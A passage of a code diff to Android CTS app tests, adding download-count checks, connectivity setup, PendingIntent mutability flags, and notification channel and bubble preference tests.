+        protected void onReceiveResult(int resultCode, Bundle resultData) {
+            mFuture.complete(resultCode);
+        }
+    }
+}
diff --git a/tests/app/src/android/app/cts/CtsAppTestUtils.java b/tests/app/src/android/app/cts/CtsAppTestUtils.java
index 6dc4853..64f556d 100644
--- a/tests/app/src/android/app/cts/CtsAppTestUtils.java
+++ b/tests/app/src/android/app/cts/CtsAppTestUtils.java
@@ -64,4 +64,14 @@
         String cmd = "am make-uid-idle " + packageName;
         return executeShellCmd(instrumentation, cmd);
     }
+
+    /**
+     * This method returns the ambiguously nullable platform type <code>T!</code> in Kotlin.
+     * This allows Kotlin tests cases to pass <code>null</code> to a Java method parameter annotated
+     * with <code>@NonNull</code>, which can be important for validating that the Java code under
+     * test implements runtime <code>null</code> checks.
+     */
+    public static <T> T platformNull() {
+        return null;
+    }
 }
diff --git a/tests/app/src/android/app/cts/DownloadManagerTest.java b/tests/app/src/android/app/cts/DownloadManagerTest.java
index 108f173..9bf0629 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTest.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTest.java
@@ -439,6 +439,16 @@
         return process;
     }
 
+    private int getExternalVolumeMediaStoreFilesCount() {
+        Uri rootUri = MediaStore.Files.getContentUri(MediaStore.VOLUME_EXTERNAL);
+        String[] projection = {MediaStore.MediaColumns._ID};
+        int count = 0;
+        try (Cursor cursor = mContext.getContentResolver().query(rootUri, projection, null, null)) {
+            count = cursor.getCount();
+        }
+        return count;
+    }
+
     @FlakyTest
     @Test
     public void testProviderAcceptsCleartext() throws Exception {
@@ -641,10 +651,14 @@
                 int allDownloads = getTotalNumberDownloads();
                 assertEquals(1, allDownloads);
 
+                int countBeforeDownload = getExternalVolumeMediaStoreFilesCount();
                 receiver.waitForDownloadComplete(SHORT_TIMEOUT, id);
                 assertSuccessfulDownload(id, new File(
                         Environment.getExternalStoragePublicDirectory(destination), subPath));
 
+                int countAfterDownload = getExternalVolumeMediaStoreFilesCount();
+                // Asserts that only one row entry is added for 1 download
+                assertEquals((countBeforeDownload + 1), countAfterDownload);
                 final Uri downloadUri = mDownloadManager.getUriForDownloadedFile(id);
                 mContext.grantUriPermission("com.android.shell", downloadUri,
                         Intent.FLAG_GRANT_READ_URI_PERMISSION);
diff --git a/tests/app/src/android/app/cts/DownloadManagerTestBase.java b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
index fd9009a..f289557 100644
--- a/tests/app/src/android/app/cts/DownloadManagerTestBase.java
+++ b/tests/app/src/android/app/cts/DownloadManagerTestBase.java
@@ -18,8 +18,10 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 
 import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
 
 import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
@@ -30,7 +32,9 @@
 import android.content.Intent;
 import android.content.pm.PackageManager;
 import android.database.Cursor;
+import android.net.ConnectivityManager;
 import android.net.Uri;
+import android.net.wifi.WifiManager;
 import android.os.Bundle;
 import android.os.FileUtils;
 import android.os.ParcelFileDescriptor;
@@ -46,6 +50,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.PollingCheck;
+import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
 import org.junit.Before;
@@ -89,14 +94,19 @@
     protected Context mContext;
     protected DownloadManager mDownloadManager;
 
+    private WifiManager mWifiManager;
+    private ConnectivityManager mCm;
     private CtsTestServer mWebServer;
 
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
         mDownloadManager = (DownloadManager) mContext.getSystemService(Context.DOWNLOAD_SERVICE);
+        mWifiManager = mContext.getSystemService(WifiManager.class);
+        mCm = mContext.getSystemService(ConnectivityManager.class);
         mWebServer = new CtsTestServer(mContext);
         clearDownloads();
+        checkConnection();
     }
 
     @After
@@ -204,6 +214,23 @@
         return getFileData(uri, "_data");
     }
 
+    private void checkConnection() throws Exception {
+        if (!hasConnectedNetwork(mCm)) {
+            Log.d(TAG, "Enabling WiFi to ensure connectivity for this test");
+            runShellCommand("svc wifi enable");
+            runWithShellPermissionIdentity(mWifiManager::reconnect,
+                    android.Manifest.permission.NETWORK_SETTINGS);
+            final long startTime = SystemClock.elapsedRealtime();
+            while (!hasConnectedNetwork(mCm)
+                && (SystemClock.elapsedRealtime() - startTime) < SHORT_TIMEOUT) {
+                Thread.sleep(500);
+            }
+            if (!hasConnectedNetwork(mCm)) {
+                Log.d(TAG, "Unable to connect to any network");
+            }
+        }
+    }
+
     private static String getFileData(Uri uri, String projection) throws Exception {
         final Context context = InstrumentationRegistry.getTargetContext();
         final String[] projections =  new String[] { projection };
@@ -382,6 +409,10 @@
         }.run();
     }
 
+    private static boolean hasConnectedNetwork(final ConnectivityManager cm) {
+        return cm.getActiveNetwork() != null;
+    }
+
     protected void assertSuccessfulDownload(long id, File location) throws Exception {
         Cursor cursor = null;
         try {
@@ -392,7 +423,13 @@
                     cursor.getColumnIndex(DownloadManager.COLUMN_STATUS)));
             assertEquals(Uri.fromFile(expectedLocation).toString(),
                     cursor.getString(cursor.getColumnIndex(DownloadManager.COLUMN_LOCAL_URI)));
-            assertTrue(expectedLocation.exists());
+
+            // Use shell to check if file is created as normal app doesn't have
+            // visibility to see other packages dirs.
+            String result = SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                    "file " + expectedLocation.getCanonicalPath());
+            assertFalse("Cannot create file in other packages",
+                    result.contains("No such file or directory"));
         } finally {
             if (cursor != null) {
                 cursor.close();
diff --git a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
index f20113b..ca4ae73 100644
--- a/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
+++ b/tests/app/src/android/app/cts/FragmentReceiveResultTest.java
@@ -30,6 +30,8 @@
 
 import org.mockito.ArgumentCaptor;
 
+import java.util.concurrent.TimeUnit;
+
 /**
  * Tests Fragment's startActivityForResult and startIntentSenderForResult.
  */
@@ -55,7 +57,7 @@
         startActivityForResult(10, Activity.RESULT_OK, "content 10");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(10), eq(Activity.RESULT_OK), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -67,7 +69,7 @@
         startActivityForResult(20, Activity.RESULT_CANCELED, "content 20");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(20), eq(Activity.RESULT_CANCELED), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -79,7 +81,7 @@
         startIntentSenderForResult(30, Activity.RESULT_OK, "content 30");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(30), eq(Activity.RESULT_OK), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -91,7 +93,7 @@
         startIntentSenderForResult(40, Activity.RESULT_CANCELED, "content 40");
 
         ArgumentCaptor<Intent> captor = ArgumentCaptor.forClass(Intent.class);
-        verify(mFragment, times(1))
+        asyncVerifyOnce(mFragment)
                 .onActivityResult(eq(40), eq(Activity.RESULT_CANCELED), captor.capture());
         final String data = captor.getValue()
                 .getStringExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT);
@@ -130,6 +132,10 @@
         getInstrumentation().waitForIdleSync();
     }
 
+    private static <T> T asyncVerifyOnce(T mock) {
+        return verify(mock, timeout(TimeUnit.SECONDS.toMillis(10)).times(1));
+    }
+
     private void startIntentSenderForResult(final int requestCode, final int resultCode,
             final String content) {
         getInstrumentation().runOnMainSync(new Runnable() {
@@ -140,7 +146,7 @@
                 intent.putExtra(FragmentResultActivity.EXTRA_RESULT_CONTENT, content);
 
                 PendingIntent pendingIntent = PendingIntent.getActivity(mActivity,
-                        requestCode, intent, 0);
+                        requestCode, intent, PendingIntent.FLAG_IMMUTABLE);
 
                 try {
                     mFragment.startIntentSenderForResult(pendingIntent.getIntentSender(),
diff --git a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
index 20bf336..0345030 100644
--- a/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
+++ b/tests/app/src/android/app/cts/NotificationCarExtenderTest.java
@@ -111,10 +111,10 @@
         final Intent testIntent = new Intent("testIntent");
         final PendingIntent testPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-            PendingIntent.FLAG_CANCEL_CURRENT);
+            PendingIntent.FLAG_CANCEL_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final PendingIntent testReplyPendingIntent =
             PendingIntent.getBroadcast(mContext, 0, testIntent,
-                PendingIntent.FLAG_UPDATE_CURRENT);
+                PendingIntent.FLAG_UPDATE_CURRENT | PendingIntent.FLAG_MUTABLE_UNAUDITED);
         final RemoteInput testRemoteInput = new RemoteInput.Builder("key").build();
 
         final UnreadConversation testConversation =
diff --git a/tests/app/src/android/app/cts/NotificationChannelTest.java b/tests/app/src/android/app/cts/NotificationChannelTest.java
index bdbb0b7..c879337 100644
--- a/tests/app/src/android/app/cts/NotificationChannelTest.java
+++ b/tests/app/src/android/app/cts/NotificationChannelTest.java
@@ -65,6 +65,8 @@
         assertNull(channel.getConversationId());
         assertNull(channel.getParentChannelId());
         assertFalse(channel.isImportantConversation());
+        assertFalse(channel.isDemoted());
+        assertFalse(channel.isConversation());
     }
 
     public void testWriteToParcel() {
@@ -80,11 +82,13 @@
                         .build());
         channel.setLightColor(Color.RED);
         channel.setDeleted(true);
+        channel.setDeletedTimeMs(1000);
         channel.setFgServiceShown(true);
         channel.setVibrationPattern(new long[] {299, 4562});
         channel.setBlockable(true);
         channel.setConversationId("parent_channel", "conversation 1");
         channel.setImportantConversation(true);
+        channel.setDemoted(true);
         Parcel parcel = Parcel.obtain();
         channel.writeToParcel(parcel, 0);
         parcel.setDataPosition(0);
@@ -220,6 +224,7 @@
         assertEquals("parent", channel.getParentChannelId());
         assertEquals("conversation", channel.getConversationId());
         assertFalse(channel.isImportantConversation());
+        assertTrue(channel.isConversation());
 
         channel.setImportantConversation(true);
         assertTrue(channel.isImportantConversation());
@@ -231,4 +236,12 @@
 
         assertTrue(channel.hasUserSetSound());
     }
+
+    public void testIsDemoted() {
+        NotificationChannel channel = new NotificationChannel("a", "a", IMPORTANCE_DEFAULT);
+        channel.setConversationId("parent", "conversation with friend");
+        channel.setDemoted(true);
+
+        assertTrue(channel.isDemoted());
+    }
 }
diff --git a/tests/app/src/android/app/cts/NotificationManagerTest.java b/tests/app/src/android/app/cts/NotificationManagerTest.java
index cf579ce..3f37566 100644
--- a/tests/app/src/android/app/cts/NotificationManagerTest.java
+++ b/tests/app/src/android/app/cts/NotificationManagerTest.java
@@ -17,6 +17,9 @@
 package android.app.cts;
 
 import static android.app.Notification.FLAG_BUBBLE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_ALL;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_NONE;
+import static android.app.NotificationManager.BUBBLE_PREFERENCE_SELECTED;
 import static android.app.NotificationManager.IMPORTANCE_DEFAULT;
 import static android.app.NotificationManager.IMPORTANCE_HIGH;
 import static android.app.NotificationManager.IMPORTANCE_LOW;
@@ -45,6 +48,8 @@
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_OFF;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_SCREEN_ON;
 import static android.app.NotificationManager.Policy.SUPPRESSED_EFFECT_STATUS_BAR;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.MAX_WAIT_TIME;
+import static android.app.cts.android.app.cts.tools.NotificationHelper.SHORT_WAIT_TIME;
 import static android.app.stubs.BubblesTestService.EXTRA_TEST_CASE;
 import static android.app.stubs.BubblesTestService.TEST_CALL;
 import static android.app.stubs.BubblesTestService.TEST_MESSAGING;
@@ -54,7 +59,13 @@
 import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
 import static android.content.pm.PackageManager.FEATURE_WATCH;
 
+import static org.hamcrest.CoreMatchers.hasItem;
+import static org.junit.Assert.assertThat;
+import static org.junit.Assert.assertThrows;
+
+import android.Manifest;
 import android.app.ActivityManager;
+import android.app.ActivityOptions;
 import android.app.AutomaticZenRule;
 import android.app.Instrumentation;
 import android.app.KeyguardManager;
@@ -66,6 +77,8 @@
 import android.app.PendingIntent;
 import android.app.Person;
 import android.app.UiAutomation;
+import android.app.cts.android.app.cts.tools.FutureServiceConnection;
+import android.app.cts.android.app.cts.tools.NotificationHelper;
 import android.app.stubs.AutomaticZenRuleActivity;
 import android.app.stubs.BubbledActivity;
 import android.app.stubs.BubblesTestService;
@@ -79,8 +92,10 @@
 import android.content.Context;
 import android.content.Intent;
 import android.content.IntentFilter;
+import android.content.LocusId;
 import android.content.OperationApplicationException;
 import android.content.ServiceConnection;
+import android.content.pm.PackageInfo;
 import android.content.pm.PackageManager;
 import android.content.pm.ShortcutInfo;
 import android.content.pm.ShortcutManager;
@@ -94,7 +109,12 @@
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.ConditionVariable;
+import android.os.Handler;
 import android.os.IBinder;
+import android.os.Looper;
+import android.os.Message;
+import android.os.Messenger;
 import android.os.ParcelFileDescriptor;
 import android.os.RemoteException;
 import android.os.SystemClock;
@@ -111,6 +131,7 @@
 import android.service.notification.StatusBarNotification;
 import android.service.notification.ZenPolicy;
 import android.test.AndroidTestCase;
+import android.util.ArrayMap;
 import android.util.ArraySet;
 import android.util.Log;
 import android.widget.RemoteViews;
@@ -153,12 +174,26 @@
     private static final String DELEGATOR = "com.android.test.notificationdelegator";
     private static final String DELEGATE_POST_CLASS = DELEGATOR + ".NotificationDelegateAndPost";
     private static final String REVOKE_CLASS = DELEGATOR + ".NotificationRevoker";
-    private static final long SHORT_WAIT_TIME = 100;
-    private static final long MAX_WAIT_TIME = 2000;
     private static final String SHARE_SHORTCUT_ID = "shareShortcut";
     private static final String SHARE_SHORTCUT_CATEGORY =
             "android.app.stubs.SHARE_SHORTCUT_CATEGORY";
 
+    private static final String TRAMPOLINE_APP =
+            "com.android.test.notificationtrampoline.current";
+    private static final String TRAMPOLINE_APP_API_30 =
+            "com.android.test.notificationtrampoline.api30";
+    private static final ComponentName TRAMPOLINE_SERVICE =
+            new ComponentName(TRAMPOLINE_APP,
+                    "com.android.test.notificationtrampoline.NotificationTrampolineTestService");
+    private static final ComponentName TRAMPOLINE_SERVICE_API_30 =
+            new ComponentName(TRAMPOLINE_APP_API_30,
+                    "com.android.test.notificationtrampoline.NotificationTrampolineTestService");
+
+    private static final long TIMEOUT_LONG_MS = 10000;
+    private static final long TIMEOUT_MS = 4000;
+    private static final int MESSAGE_BROADCAST_NOTIFICATION = 1;
+    private static final int MESSAGE_SERVICE_NOTIFICATION = 2;
+
     private PackageManager mPackageManager;
     private AudioManager mAudioManager;
     private NotificationManager mNotificationManager;
@@ -169,6 +204,8 @@
     private BroadcastReceiver mBubbleBroadcastReceiver;
     private boolean mBubblesEnabledSettingToRestore;
     private INotificationUriAccessService mNotificationUriAccessService;
+    private FutureServiceConnection mTrampolineConnection;
+    private NotificationHelper mNotificationHelper;
 
     @Override
     protected void setUp() throws Exception {
@@ -177,6 +214,7 @@
         mId = UUID.randomUUID().toString();
         mNotificationManager = (NotificationManager) mContext.getSystemService(
                 Context.NOTIFICATION_SERVICE);
+        mNotificationHelper = new NotificationHelper(mContext, () -> mListener);
         // clear the deck so that our getActiveNotifications results are predictable
         mNotificationManager.cancelAll();
 
@@ -215,7 +253,6 @@
     protected void tearDown() throws Exception {
         super.tearDown();
         mNotificationManager.cancelAll();
-
         for (String id : mRuleIds) {
             mNotificationManager.removeAutomaticZenRule(id);
         }
@@ -247,6 +284,16 @@
 
         // Restore bubbles setting
         setBubblesGlobal(mBubblesEnabledSettingToRestore);
+
+        // For trampoline tests
+        if (mTrampolineConnection != null) {
+            mContext.unbindService(mTrampolineConnection);
+            mTrampolineConnection = null;
+        }
+        if (mListener != null) {
+            mListener.removeTestPackage(TRAMPOLINE_APP_API_30);
+            mListener.removeTestPackage(TRAMPOLINE_APP);
+        }
     }
 
     private void assertNotificationCancelled(int id, boolean all) {
@@ -343,43 +390,20 @@
     }
 
     private StatusBarNotification findPostedNotification(int id, boolean all) {
-        // notification is a bit asynchronous so it may take a few ms to appear in
-        // getActiveNotifications()
-        // we will check for it for up to 1000ms before giving up
-        for (long totalWait = 0; totalWait < MAX_WAIT_TIME; totalWait += SHORT_WAIT_TIME) {
-            StatusBarNotification n = findNotificationNoWait(id, all);
-            if (n != null) {
-                return n;
-            }
-            try {
-                Thread.sleep(SHORT_WAIT_TIME);
-            } catch (InterruptedException ex) {
-                // pass
-            }
-        }
-        return findNotificationNoWait(id, all);
+        return mNotificationHelper.findPostedNotification(id, all);
     }
 
     private StatusBarNotification findNotificationNoWait(int id, boolean all) {
-        for (StatusBarNotification sbn : getActiveNotifications(all)) {
-            if (sbn.getId() == id) {
-                return sbn;
-            }
-        }
-        return null;
+        return mNotificationHelper.findNotificationNoWait(id, all);
     }
 
     private StatusBarNotification[] getActiveNotifications(boolean all) {
-        if (all) {
-            return mListener.getActiveNotifications();
-        } else {
-            return mNotificationManager.getActiveNotifications();
-        }
+        return mNotificationHelper.getActiveNotifications(all);
     }
 
     private PendingIntent getPendingIntent() {
         return PendingIntent.getActivity(
-                getContext(), 0, new Intent(getContext(), this.getClass()), 0);
+                getContext(), 0, new Intent(getContext(), this.getClass()), PendingIntent.FLAG_MUTABLE_UNAUDITED);
     }
 
     private boolean isGroupSummary(Notification n) {
@@ -458,7 +482,8 @@
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
 
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent,
+                PendingIntent.FLAG_MUTABLE);
         final Notification notification =
                 new Notification.Builder(mContext, NOTIFICATION_CHANNEL_ID)
                         .setSmallIcon(icon)
@@ -479,8 +504,8 @@
         try {
             toggleListenerAccess(true);
             mListener = TestNotificationListener.getInstance();
-            mListener.resetData();
             assertNotNull(mListener);
+            mListener.resetData();
         } catch (IOException e) {
         }
     }
@@ -494,7 +519,7 @@
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
                 | Intent.FLAG_ACTIVITY_CLEAR_TOP);
         intent.setAction(Intent.ACTION_MAIN);
-        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, 0);
+        final PendingIntent pendingIntent = PendingIntent.getActivity(mContext, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         if (data == null) {
             data = new Notification.BubbleMetadata.Builder(pendingIntent,
@@ -545,6 +570,20 @@
         fail("Couldn't find posted notification with id= " + id);
     }
 
+    private int getCancellationReason(String key) {
+        for (int tries = 3; tries-- > 0; ) {
+            if (mListener.mRemoved.containsKey(key)) {
+                return mListener.mRemoved.get(key);
+            }
+            try {
+                Thread.sleep(1000);
+            } catch (InterruptedException ex) {
+                // pass
+            }
+        }
+        return -1;
+    }
+
     private boolean checkNotificationExistence(int id, boolean shouldExist) {
         // notification is a bit asynchronous so it may take a few ms to appear in
         // getActiveNotifications()
@@ -616,6 +655,7 @@
         assertEquals(expected.getGroup(), actual.getGroup());
         assertEquals(expected.getConversationId(), actual.getConversationId());
         assertEquals(expected.getParentChannelId(), actual.getParentChannelId());
+        assertEquals(expected.isDemoted(), actual.isDemoted());
     }
 
     private void toggleNotificationPolicyAccess(String packageName,
@@ -641,12 +681,16 @@
     }
 
     private void toggleListenerAccess(boolean on) throws IOException {
+        toggleListenerAccess(mContext, on);
+    }
+
+    public static void toggleListenerAccess(Context context, boolean on) throws IOException {
         String command = " cmd notification " + (on ? "allow_listener " : "disallow_listener ")
                 + TestNotificationListener.getId();
 
         runCommand(command, InstrumentationRegistry.getInstrumentation());
 
-        final NotificationManager nm = mContext.getSystemService(NotificationManager.class);
+        final NotificationManager nm = context.getSystemService(NotificationManager.class);
         final ComponentName listenerComponent = TestNotificationListener.getComponentName();
         assertEquals(listenerComponent + " has incorrect listener access",
                 on, nm.isNotificationListenerAccessGranted(listenerComponent));
@@ -689,7 +733,8 @@
     }
 
     @SuppressWarnings("StatementWithEmptyBody")
-    private void runCommand(String command, Instrumentation instrumentation) throws IOException {
+    private static void runCommand(String command, Instrumentation instrumentation)
+            throws IOException {
         UiAutomation uiAutomation = instrumentation.getUiAutomation();
         // Execute command
         try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
@@ -759,7 +804,7 @@
 
         Set<String> categorySet = new ArraySet<>();
         categorySet.add(SHARE_SHORTCUT_CATEGORY);
-        Intent shortcutIntent = new Intent(mContext, SendBubbleActivity.class);
+        Intent shortcutIntent = new Intent(mContext, BubbledActivity.class);
         shortcutIntent.setAction(Intent.ACTION_VIEW);
 
         ShortcutInfo shortcut = new ShortcutInfo.Builder(mContext, SHARE_SHORTCUT_ID)
@@ -860,6 +905,19 @@
         mContext.unregisterReceiver(mBubbleBroadcastReceiver);
     }
 
+    private void sendTrampolineMessage(ComponentName component, int message,
+            int notificationId, Handler callback) throws Exception {
+        if (mTrampolineConnection == null) {
+            Intent intent = new Intent();
+            intent.setComponent(component);
+            mTrampolineConnection = new FutureServiceConnection();
+            assertTrue(
+                    mContext.bindService(intent, mTrampolineConnection, Context.BIND_AUTO_CREATE));
+        }
+        Messenger service = new Messenger(mTrampolineConnection.get(TIMEOUT_MS));
+        service.send(Message.obtain(null, message, notificationId, -1, new Messenger(callback)));
+    }
+
     public void testConsolidatedNotificationPolicy() throws Exception {
         final int originalFilter = mNotificationManager.getCurrentInterruptionFilter();
         Policy origPolicy = mNotificationManager.getNotificationPolicy();
@@ -1965,7 +2023,8 @@
                                 .bigPicture(Bitmap.createBitmap(100, 100, Bitmap.Config.RGB_565))
                                 .bigLargeIcon(
                                         Icon.createWithResource(getContext(), R.drawable.icon_blue))
-                                .setSummaryText("summary"))
+                                .setSummaryText("summary")
+                                .setContentDescription("content description"))
                         .build();
         mNotificationManager.notify(id, notification);
 
@@ -2100,7 +2159,7 @@
             mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
 
             // delay for streams to get into correct mute states
-            Thread.sleep(50);
+            Thread.sleep(1000);
             assertTrue("Music (media) stream should be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
             assertTrue("System stream should be muted",
@@ -2143,7 +2202,7 @@
             mNotificationManager.setInterruptionFilter(INTERRUPTION_FILTER_PRIORITY);
 
             // delay for streams to get into correct mute states
-            Thread.sleep(50);
+            Thread.sleep(1000);
             assertFalse("Music (media) stream should not be muted",
                     mAudioManager.isStreamMute(AudioManager.STREAM_MUSIC));
             assertTrue("System stream should be muted",
@@ -2602,20 +2661,45 @@
     }
 
     public void testAreBubblesAllowed_appNone() throws Exception {
-        setBubblesAppPref(0 /* none */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
         assertFalse(mNotificationManager.areBubblesAllowed());
     }
 
     public void testAreBubblesAllowed_appSelected() throws Exception {
-        setBubblesAppPref(2 /* selected */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
         assertFalse(mNotificationManager.areBubblesAllowed());
     }
 
     public void testAreBubblesAllowed_appAll() throws Exception {
-        setBubblesAppPref(1 /* all */);
+        setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
         assertTrue(mNotificationManager.areBubblesAllowed());
     }
 
+    public void testGetBubblePreference_appNone() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_NONE);
+        assertEquals(BUBBLE_PREFERENCE_NONE, mNotificationManager.getBubblePreference());
+    }
+
+    public void testGetBubblePreference_appSelected() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_SELECTED);
+        assertEquals(BUBBLE_PREFERENCE_SELECTED, mNotificationManager.getBubblePreference());
+    }
+
+    public void testGetBubblePreference_appAll() throws Exception {
+        setBubblesAppPref(BUBBLE_PREFERENCE_ALL);
+        assertEquals(BUBBLE_PREFERENCE_ALL, mNotificationManager.getBubblePreference());
+    }
+
+    public void testAreBubblesEnabled() throws Exception {
+        setBubblesGlobal(true);
+        assertTrue(mNotificationManager.areBubblesEnabled());
+    }
+
+    public void testAreBubblesEnabled_false() throws Exception {
+        setBubblesGlobal(false);
+        assertFalse(mNotificationManager.areBubblesEnabled());
+    }
+
     public void testNotificationIcon() {
         int id = 6000;
 
@@ -2862,8 +2946,6 @@
         }
     }
 
-    ;
-
     public void testNotificationUriPermissionsRevokedOnlyFromRemovedListeners() throws Exception {
         Uri background7Uri = Uri.parse(
                 "content://com.android.test.notificationprovider.provider/background7.png");
@@ -3096,7 +3178,7 @@
             }
         } else {
             // Tested in LegacyNotificationManager20Test
-            if (checkNotificationExistence(notificationId, /*shouldExist=*/ true)) {
+            if (!checkNotificationExistence(notificationId, /*shouldExist=*/ false)) {
                 fail("Notification should have been cancelled for targetSdk below L.  targetSdk="
                         + mContext.getApplicationInfo().targetSdkVersion);
             }
@@ -3238,7 +3320,7 @@
             // Start & get the activity
             SendBubbleActivity a = startSendBubbleActivity();
             // Send a bubble that doesn't fulfill policy from foreground
-            a.sendInvalidBubble(false /* autoExpand */);
+            a.sendInvalidBubble(BUBBLE_NOTIF_ID, false /* autoExpand */);
 
             // No foreground bubbles that don't fulfill policy in R (allowed in Q)
             verifyNotificationBubbleState(BUBBLE_NOTIF_ID, false /* shouldBeBubble */);
@@ -3274,10 +3356,9 @@
                     new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
             InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
 
-            a.sendBubble(true /* autoExpand */, false /* suppressNotif */);
+            a.sendBubble(BUBBLE_NOTIF_ID, true /* autoExpand */, false /* suppressNotif */);
 
-            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, shouldBeBubble);
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
 
             InstrumentationRegistry.getInstrumentation().waitForIdleSync();
 
@@ -3516,8 +3597,7 @@
                             .build();
             Notification.Builder nb = getConversationNotification();
 
-            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
-            sendAndVerifyBubble(42, nb, data, shouldBeBubble);
+            sendAndVerifyBubble(42, nb, data, true /* shouldBeBubble */);
             mListener.resetData();
 
             deleteShortcuts();
@@ -3545,9 +3625,8 @@
             SendBubbleActivity a = startSendBubbleActivity();
 
             // send the bubble with notification suppressed
-            a.sendBubble(false /* autoExpand */, true /* suppressNotif */);
-            boolean shouldBeBubble = !mActivityManager.isLowRamDevice();
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, shouldBeBubble);
+            a.sendBubble(BUBBLE_NOTIF_ID, false /* autoExpand */, true /* suppressNotif */);
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
 
             // check for the notification
             StatusBarNotification sbnSuppressed = mListener.mPosted.get(0);
@@ -3561,8 +3640,8 @@
             mListener.resetData();
 
             // send the bubble with notification NOT suppressed
-            a.sendBubble(false /* autoExpand */, false /* suppressNotif */);
-            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, shouldBeBubble);
+            a.sendBubble(BUBBLE_NOTIF_ID, false /* autoExpand */, false /* suppressNotif */);
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBubble */);
 
             // check for the notification
             StatusBarNotification sbnNotSuppressed = mListener.mPosted.get(0);
@@ -3577,9 +3656,400 @@
         }
     }
 
+    public void testNotificationManagerBubble_checkIsBubbled_pendingIntent()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
+            // These do not support bubbles.
+            return;
+        }
+        try {
+            setBubblesGlobal(true);
+            setBubblesAppPref(1 /* all */);
+            setBubblesChannelAllowed(true);
+
+            createDynamicShortcut();
+            setUpNotifListener();
+
+            SendBubbleActivity a = startSendBubbleActivity();
+
+            // Prep to find bubbled activity
+            Class clazz = BubbledActivity.class;
+            Instrumentation.ActivityResult result =
+                    new Instrumentation.ActivityResult(0, new Intent());
+            Instrumentation.ActivityMonitor monitor =
+                    new Instrumentation.ActivityMonitor(clazz.getName(), result, false);
+            InstrumentationRegistry.getInstrumentation().addMonitor(monitor);
+
+            a.sendBubble(BUBBLE_NOTIF_ID, true /* autoExpand */, false /* suppressNotif */);
+
+            verifyNotificationBubbleState(BUBBLE_NOTIF_ID, true /* shouldBeBubble */);
+
+            BubbledActivity activity = (BubbledActivity) monitor.waitForActivity();
+            assertTrue(activity.isLaunchedFromBubble());
+        } finally {
+            deleteShortcuts();
+            cleanupSendBubbleActivity();
+        }
+    }
+
+    public void testNotificationManagerBubble_checkIsBubbled_shortcut()
+            throws Exception {
+        if (FeatureUtil.isAutomotive() || FeatureUtil.isTV()
+                || mActivityManager.isLowRamDevice()) {
